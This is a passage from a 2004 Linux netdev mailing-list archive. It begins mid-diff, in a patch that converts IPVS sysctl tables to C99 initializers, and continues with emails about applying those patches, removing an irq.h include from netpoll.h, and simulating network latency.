&vs_timeout_table_dos.timeout[IP_VS_S_CLOSE], + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec_jiffies, + }, + { + .ctl_name = NET_IPV4_VS_TO_CW, + .procname = "timeout_closewait", + .data = &vs_timeout_table_dos.timeout[IP_VS_S_CLOSE_WAIT], + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec_jiffies, + }, + { + .ctl_name = NET_IPV4_VS_TO_LA, + .procname = "timeout_lastack", + .data = &vs_timeout_table_dos.timeout[IP_VS_S_LAST_ACK], + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec_jiffies, + }, + { + .ctl_name = NET_IPV4_VS_TO_LI, + .procname = "timeout_listen", + .data = &vs_timeout_table_dos.timeout[IP_VS_S_LISTEN], + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec_jiffies, + }, + { + .ctl_name = NET_IPV4_VS_TO_SA, + .procname = "timeout_synack", + .data = &vs_timeout_table_dos.timeout[IP_VS_S_SYNACK], + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec_jiffies, + }, + { + .ctl_name = NET_IPV4_VS_TO_UDP, + .procname = "timeout_udp", + .data = &vs_timeout_table_dos.timeout[IP_VS_S_UDP], + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec_jiffies, + }, + { + .ctl_name = NET_IPV4_VS_TO_ICMP, + .procname = "timeout_icmp", + .data = &vs_timeout_table_dos.timeout[IP_VS_S_ICMP], + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec_jiffies, + }, #endif - {NET_IPV4_VS_CACHE_BYPASS, "cache_bypass", - &sysctl_ip_vs_cache_bypass, sizeof(int), 0644, NULL, - &proc_dointvec}, - {NET_IPV4_VS_EXPIRE_NODEST_CONN, "expire_nodest_conn", - &sysctl_ip_vs_expire_nodest_conn, sizeof(int), 0644, NULL, - &proc_dointvec}, - {NET_IPV4_VS_SYNC_THRESHOLD, "sync_threshold", - &sysctl_ip_vs_sync_threshold, sizeof(sysctl_ip_vs_sync_threshold), - 0644, NULL, &proc_do_sync_threshold}, - {NET_IPV4_VS_NAT_ICMP_SEND, "nat_icmp_send", - &sysctl_ip_vs_nat_icmp_send, sizeof(int), 0644, NULL, - &proc_dointvec}, - {0}}, - {{NET_IPV4_VS, "vs", NULL, 0, 0555, ipv4_vs_table.vs_vars}, - {0}}, - {{NET_IPV4, "ipv4", NULL, 0, 0555, ipv4_vs_table.vs_dir}, - {0}}, - {{CTL_NET, "net", NULL, 0, 0555, ipv4_vs_table.ipv4_dir}, - {0}} + { + .ctl_name = NET_IPV4_VS_CACHE_BYPASS, + .procname = "cache_bypass", + .data = &sysctl_ip_vs_cache_bypass, + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec, + }, + { + .ctl_name = NET_IPV4_VS_EXPIRE_NODEST_CONN, + .procname = "expire_nodest_conn", + .data = &sysctl_ip_vs_expire_nodest_conn, + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec, + }, + { + .ctl_name = NET_IPV4_VS_SYNC_THRESHOLD, + .procname = "sync_threshold", + .data = &sysctl_ip_vs_sync_threshold, + .maxlen = sizeof(sysctl_ip_vs_sync_threshold), + .mode = 0644, + .proc_handler = &proc_do_sync_threshold, + }, + { + .ctl_name = NET_IPV4_VS_NAT_ICMP_SEND, + .procname = "nat_icmp_send", + .data = &sysctl_ip_vs_nat_icmp_send, + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec, + }, + { .ctl_name = 0 } +}; + +static ctl_table vs_table[] = { + { + .ctl_name = NET_IPV4_VS, + .procname = "vs", + .mode = 0555, + .child = vs_vars + }, + { .ctl_name = 0 } +}; + +static ctl_table ipv4_table[] = { + { + .ctl_name = NET_IPV4, + .procname = "ipv4", + .mode = 0555, + .child = vs_table, + }, + { .ctl_name = 0 } }; +static ctl_table vs_root_table[] = { + { + .ctl_name = CTL_NET, + .procname = "net", + .mode = 0555, + .child = ipv4_table, + }, + { .ctl_name = 0 } +}; + +static struct ctl_table_header * sysctl_header; + #ifdef CONFIG_PROC_FS struct ip_vs_iter { @@ -2184,9 +2312,13 @@ static struct nf_sockopt_ops ip_vs_sockopts = { - { NULL, NULL }, PF_INET, - IP_VS_BASE_CTL, IP_VS_SO_SET_MAX+1, do_ip_vs_set_ctl, - IP_VS_BASE_CTL, IP_VS_SO_GET_MAX+1, do_ip_vs_get_ctl + .pf = PF_INET, + .set_optmin = IP_VS_BASE_CTL, + .set_optmax = IP_VS_SO_SET_MAX+1, + .set = do_ip_vs_set_ctl, + .get_optmin = IP_VS_BASE_CTL, + .get_optmax = IP_VS_SO_GET_MAX+1, + .get = do_ip_vs_get_ctl, }; @@ -2206,8 +2338,7 @@ proc_net_fops_create("ip_vs", 0, &ip_vs_info_fops); proc_net_fops_create("ip_vs_stats",0, &ip_vs_stats_fops); - ipv4_vs_table.sysctl_header = - register_sysctl_table(ipv4_vs_table.root_dir, 0); + sysctl_header = register_sysctl_table(vs_root_table, 0); /* Initialize ip_vs_svc_table, ip_vs_svc_fwm_table, ip_vs_rtable */ for(idx = 0; idx < IP_VS_SVC_TAB_SIZE; idx++) { @@ -2239,7 +2370,7 @@ ip_vs_trash_cleanup(); del_timer_sync(&defense_timer); ip_vs_kill_estimator(&ip_vs_stats); - unregister_sysctl_table(ipv4_vs_table.sysctl_header); + unregister_sysctl_table(sysctl_header); proc_net_remove("ip_vs_stats"); proc_net_remove("ip_vs"); nf_unregister_sockopt(&ip_vs_sockopts); -- Man once surrendering his reason, has no remaining guard against absurdities the most monstrous, and like a ship without rudder, is the sport of every wind. -Thomas Jefferson to James Smith, 1822 From rmk+netdev=oss.sgi.com@arm.linux.org.uk Tue Mar 16 11:41:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 11:41:33 -0800 (PST) Received: from caramon.arm.linux.org.uk (caramon.arm.linux.org.uk [212.18.232.186]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2GJfTKO023087 for ; Tue, 16 Mar 2004 11:41:30 -0800 Received: from flint.arm.linux.org.uk ([2002:d412:e8ba:1:201:2ff:fe14:8fad]) by caramon.arm.linux.org.uk with asmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1B3KRH-0000bf-0y; Tue, 16 Mar 2004 19:41:23 +0000 Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.30) id 1B3KRG-0002LQ-4z; Tue, 16 Mar 2004 19:41:22 +0000 Date: Tue, 16 Mar 2004 19:41:21 +0000 From: Russell King To: Linus Torvalds Cc: Ian Campbell , netdev@oss.sgi.com, Linux Kernel Mailing List Subject: Re: [PATCH] Do not include linux/irq.h from linux/netpoll.h Message-ID: <20040316194121.C7886@flint.arm.linux.org.uk> Mail-Followup-To: Linus Torvalds , Ian Campbell , netdev@oss.sgi.com, Linux Kernel Mailing List References: <1079369568.19012.100.camel@icampbell-debian> <20040316001141.C29594@flint.arm.linux.org.uk> <20040316192247.A7886@flint.arm.linux.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from torvalds@osdl.org on Tue, Mar 16, 2004 at 11:34:56AM -0800 X-archive-position: 4053 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rmk+lkml@arm.linux.org.uk Precedence: bulk X-list: netdev Content-Length: 1360 Lines: 35 On Tue, Mar 16, 2004 at 11:34:56AM -0800, Linus Torvalds wrote: > On Tue, 16 Mar 2004, Russell King wrote: > > > > > > What are your thoughts on this? > > > > So how do we solve this problem. Should I just merge this change and > > ask you to pull it? I think that's rather impolite though. > > I didn't apply the patch because you said it was untested ;) Ok, but bear in mind that although I can test that removing linux/irq.h from netpoll.h fixes my problem, it really needs an x86 person to also test it, just in case there's some dependency there that may not show up for me. > I'll happily remove that irq.h include if it really doesn't do anything > but break things. I'd feel happier about it if somebody said it has been > tested, though ;) Andi Kleen, hch and jgarzik are presently discussing the issue, and I think they're convincing themselves that linux/irq.h is disgusting mess. As far as me doing anything with linux/irq.h, I think that's out of my control because ARM doesn't use it - an x86 person needs to look into fixing it properly. So all I can do is moan each time this problem comes up until someone gets pissed off enough to fix it properly. -- Russell King Linux kernel 2.6 ARM Linux - http://www.arm.linux.org.uk/ maintainer of: 2.6 PCMCIA - http://pcmcia.arm.linux.org.uk/ 2.6 Serial core From davem@redhat.com Tue Mar 16 11:53:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 11:53:27 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2GJrPKO024446 for ; Tue, 16 Mar 2004 11:53:25 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2GJqv4b006393; Tue, 16 Mar 2004 14:52:57 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2GJqvj06240; Tue, 16 Mar 2004 14:52:57 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2GJqh2x020641; Tue, 16 Mar 2004 14:52:44 -0500 Date: Tue, 16 Mar 2004 11:52:56 -0800 From: "David S. Miller" To: "Art Haas" Cc: wensong@gnuchina.org.sgi.com, netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: [PATCH] Add C99 initializers to net/ipv4/ipvs/ip_vs_ctl.c Message-Id: <20040316115256.60421bb6.davem@redhat.com> In-Reply-To: <20040316185229.GA12996@artsapartment.org> References: <20040316185229.GA12996@artsapartment.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4054 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 430 Lines: 11 On Tue, 16 Mar 2004 12:52:29 -0600 "Art Haas" wrote: > Here is the first of three patches adding C99 initializers to > files in net/ipv4/ipvs. This patch is for ip_vs_ctl.c, and > is against the current BK. This patch splits a structure up > into several variables, making the code look more like > other files found in net/, and explicitly adds initializers > to an existing structure. Applied, thanks Art. From davem@redhat.com Tue Mar 16 11:57:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 11:57:27 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2GJvHKO024824 for ; Tue, 16 Mar 2004 11:57:17 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2GJut4b007628; Tue, 16 Mar 2004 14:56:55 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2GJutj07606; Tue, 16 Mar 2004 14:56:55 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2GJuf2x022071; Tue, 16 Mar 2004 14:56:41 -0500 Date: Tue, 16 Mar 2004 11:56:54 -0800 From: "David S. Miller" To: "Art Haas" Cc: wensong@gnuchina.org.sgi.com, netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: [PATCH] Add C99 initializers to net/ipv4/ipvs/ip_vs_lblc.c Message-Id: <20040316115654.5b798b93.davem@redhat.com> In-Reply-To: <20040316185451.GB12996@artsapartment.org> References: <20040316185451.GB12996@artsapartment.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4055 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 287 Lines: 8 On Tue, 16 Mar 2004 12:54:51 -0600 "Art Haas" wrote: > This is the second patch adding initializers. The patch splits a > structure up into several variables, making the code more like > other code in net/. The patch is against the current BK. Applied, thanks Art. From davem@redhat.com Tue Mar 16 11:58:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 11:58:11 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2GJw9KO025141 for ; Tue, 16 Mar 2004 11:58:09 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2GJvm4b008092; Tue, 16 Mar 2004 14:57:48 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2GJvlj08117; Tue, 16 Mar 2004 14:57:47 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2GJvY2x022640; Tue, 16 Mar 2004 14:57:34 -0500 Date: Tue, 16 Mar 2004 11:57:46 -0800 From: "David S. Miller" To: "Art Haas" Cc: wensong@gnuchina.org.sgi.com, netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: [PATCH] C99 initializers for net/ipv4/ipvs/ip_vs_lblcr.c Message-Id: <20040316115746.7f55bedb.davem@redhat.com> In-Reply-To: <20040316185628.GC12996@artsapartment.org> References: <20040316185628.GC12996@artsapartment.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4056 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 230 Lines: 7 On Tue, 16 Mar 2004 12:56:28 -0600 "Art Haas" wrote: > Here's the last of the three patches adding C99 initializers. This patch > splits a structure up, and is against the current BK. Looks fine, thanks Art. From rmk+netdev=oss.sgi.com@arm.linux.org.uk Tue Mar 16 12:17:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 12:17:21 -0800 (PST) Received: from caramon.arm.linux.org.uk (caramon.arm.linux.org.uk [212.18.232.186]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2GKHIKO026738 for ; Tue, 16 Mar 2004 12:17:19 -0800 Received: from flint.arm.linux.org.uk ([2002:d412:e8ba:1:201:2ff:fe14:8fad]) by caramon.arm.linux.org.uk with asmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1B3Kzv-0000gX-Os; Tue, 16 Mar 2004 20:17:11 +0000 Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.30) id 1B3Kzu-0002im-Uf; Tue, 16 Mar 2004 20:17:10 +0000 Date: Tue, 16 Mar 2004 20:17:10 +0000 From: Russell King To: Linus Torvalds Cc: Ian Campbell , netdev@oss.sgi.com, Linux Kernel Mailing List Subject: Re: [PATCH] Do not include linux/irq.h from linux/netpoll.h Message-ID: <20040316201710.A9931@flint.arm.linux.org.uk> Mail-Followup-To: Linus Torvalds , Ian Campbell , netdev@oss.sgi.com, Linux Kernel Mailing List References: <1079369568.19012.100.camel@icampbell-debian> <20040316001141.C29594@flint.arm.linux.org.uk> <20040316192247.A7886@flint.arm.linux.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from torvalds@osdl.org on Tue, Mar 16, 2004 at 11:34:56AM -0800 X-archive-position: 4057 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rmk+lkml@arm.linux.org.uk Precedence: bulk X-list: netdev Content-Length: 735 Lines: 21 On Tue, Mar 16, 2004 at 11:34:56AM -0800, Linus Torvalds wrote: > On Tue, 16 Mar 2004, Russell King wrote: > > > > > > What are your thoughts on this? > > > > So how do we solve this problem. Should I just merge this change and > > ask you to pull it? I think that's rather impolite though. > > I didn't apply the patch because you said it was untested ;) Ok, I've now tested the removal of linux/irq.h from netpoll.h and it built fine for me on ARM. However, whether there's a reason for it to be there on x86 or not still remains to be proven. -- Russell King Linux kernel 2.6 ARM Linux - http://www.arm.linux.org.uk/ maintainer of: 2.6 PCMCIA - http://pcmcia.arm.linux.org.uk/ 2.6 Serial core From bunk@fs.tum.de Tue Mar 16 12:27:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 12:28:13 -0800 (PST) Received: from hermes.fachschaften.tu-muenchen.de (hermes.fachschaften.tu-muenchen.de [129.187.202.12]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2GKRsKO030185 for ; Tue, 16 Mar 2004 12:27:55 -0800 Received: (qmail 469 invoked from network); 16 Mar 2004 20:27:05 -0000 Received: from mimas.fachschaften.tu-muenchen.de (129.187.202.58) by hermes.fachschaften.tu-muenchen.de with QMQP; 16 Mar 2004 20:27:05 -0000 Date: Tue, 16 Mar 2004 21:27:46 +0100 From: Adrian Bunk To: Linus Torvalds Cc: Russell King , Ian Campbell , netdev@oss.sgi.com, Linux Kernel Mailing List Subject: Re: [PATCH] Do not include linux/irq.h from linux/netpoll.h Message-ID: <20040316202746.GO27056@fs.tum.de> References: <1079369568.19012.100.camel@icampbell-debian> <20040316001141.C29594@flint.arm.linux.org.uk> <20040316192247.A7886@flint.arm.linux.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2i X-archive-position: 4058 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bunk@fs.tum.de Precedence: bulk X-list: netdev Content-Length: 1002 Lines: 34 On Tue, Mar 16, 2004 at 11:34:56AM -0800, Linus Torvalds wrote: > > > On Tue, 16 Mar 2004, Russell King wrote: > > > > > > What are your thoughts on this? > > > > So how do we solve this problem. Should I just merge this change and > > ask you to pull it? I think that's rather impolite though. > > I didn't apply the patch because you said it was untested ;) > > I'll happily remove that irq.h include if it really doesn't do anything > but break things. I'd feel happier about it if somebody said it has been > tested, though ;) I removed the irq.h from netpoll.h in a 2.6.5-rc1-mm1 that was compiled with a i386 .config that compiles as much as possible statically into the kernel. There were no compilation problems. > Linus cu Adrian -- "Is there not promise of rain?" Ling Tan asked suddenly out of the darkness. There had been need of rain for many days. "Only a promise," Lao Er said. Pearl S. Buck - Dragon Seed From jgarzik@pobox.com Tue Mar 16 12:37:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 12:38:02 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2GKbuKO030700 for ; Tue, 16 Mar 2004 12:37:57 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B3LJz-0003Uw-Bi; Tue, 16 Mar 2004 20:37:55 +0000 Message-ID: <40576597.2010503@pobox.com> Date: Tue, 16 Mar 2004 15:37:43 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Feldman, Scott" CC: netdev@oss.sgi.com, calum.mackay@cdmnet.org Subject: Re: [e100 2.6] update e100.txt References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4059 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 9 Lines: 2 applied From jgarzik@pobox.com Tue Mar 16 12:38:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 12:38:10 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2GKc8KO030753 for ; Tue, 16 Mar 2004 12:38:09 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B3LK6-0003V0-Ff; Tue, 16 Mar 2004 20:38:02 +0000 Message-ID: <4057659E.8090106@pobox.com> Date: Tue, 16 Mar 2004 15:37:50 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Matt Mackall CC: Meelis Roos , netdev@oss.sgi.com Subject: Re: netpoll warning in tulip References: <20040316192347.GC11010@waste.org> In-Reply-To: <20040316192347.GC11010@waste.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4060 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 10 Lines: 3 applied From shemminger@osdl.org Tue Mar 16 15:11:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 15:11:30 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2GNB9KO009271 for ; Tue, 16 Mar 2004 15:11:10 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i2GNAwE25987; Tue, 16 Mar 2004 15:10:58 -0800 Date: Tue, 16 Mar 2004 15:10:58 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: network delay simulation Message-Id: <20040316151058.3cc2fa28@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4061 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 590 Lines: 15 Still bumming around for how to easily simulate long latencies. There is NISTnet but that is fugly old 2.2 code; and Dummynet, and hitbox which are FreeBSD based. The existing traffic shaper might do, but it seems to be limited to lower speed lines and needs some work (using atomic_set do own locking for instance). Probably "the cowboy way" would be to right a new net/scheduler to just do FIFO delay. Any ideas/comments? Somebody have some code sitting in a drawer? -- Stephen Hemminger mailto:shemminger@osdl.org Open Source Development Lab http://developer.osdl.org/shemminger From ak@suse.de Tue Mar 16 16:01:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 16:01:20 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2H017KO011263 for ; Tue, 16 Mar 2004 16:01:08 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 373C630BDE1; Wed, 17 Mar 2004 00:21:57 +0100 (CET) Date: Wed, 17 Mar 2004 00:00:48 +0100 From: Andi Kleen To: Stephen Hemminger Cc: davem@redhat.com, netdev@oss.sgi.com Subject: Re: network delay simulation Message-Id: <20040317000048.10d9f52c.ak@suse.de> In-Reply-To: <20040316151058.3cc2fa28@dell_ss3.pdx.osdl.net> References: <20040316151058.3cc2fa28@dell_ss3.pdx.osdl.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4062 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev Content-Length: 672 Lines: 19 On Tue, 16 Mar 2004 15:10:58 -0800 Stephen Hemminger wrote: > Still bumming around for how to easily simulate long latencies. > There is NISTnet but that is fugly old 2.2 code; and Dummynet, and hitbox > which are FreeBSD based. The existing traffic shaper might do, but it seems > to be limited to lower speed lines and needs some work (using atomic_set > do own locking for instance). > > Probably "the cowboy way" would be to right a new net/scheduler to just > do FIFO delay. > > Any ideas/comments? Somebody have some code sitting in a drawer? iirc there was a 2.4 port of NistNet. Porting it to 2.6 is probably not that much work. -Andi From davem@redhat.com Tue Mar 16 17:41:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 17:41:44 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2H1ffKO017249 for ; Tue, 16 Mar 2004 17:41:42 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2H1fZ4b019783; Tue, 16 Mar 2004 20:41:35 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2H1fZj10618; Tue, 16 Mar 2004 20:41:35 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2H1fL2x019850; Tue, 16 Mar 2004 20:41:21 -0500 Date: Tue, 16 Mar 2004 17:41:34 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: network delay simulation Message-Id: <20040316174134.2f1da12a.davem@redhat.com> In-Reply-To: <20040316151058.3cc2fa28@dell_ss3.pdx.osdl.net> References: <20040316151058.3cc2fa28@dell_ss3.pdx.osdl.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4063 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 1003 Lines: 22 On Tue, 16 Mar 2004 15:10:58 -0800 Stephen Hemminger wrote: > Probably "the cowboy way" would be to right a new net/scheduler to just > do FIFO delay. > > Any ideas/comments? Somebody have some code sitting in a drawer? Probably a packet scheduler would be my first choice, you could then even tag packets using classification and therefore delay differently for different flows. Another thing I've always wanted to do was add a "struct netdev *" argument to dev_alloc_skb(), then we could do things like do SKB allocation failure tests on drivers to stress them in low memory situations and weird patterns of alloc failures. Probably do this in a transitional way via a new routine with a new name that drivers gradually move over to using. The idea is that we provide an interface by which to upload some bit string of alloc success/failure binary states, and at each alloc the state machine just runs through the bits to decide whether to just quickly return NULL or not. From davem@redhat.com Tue Mar 16 17:50:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 17:51:00 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2H1owKO017698 for ; Tue, 16 Mar 2004 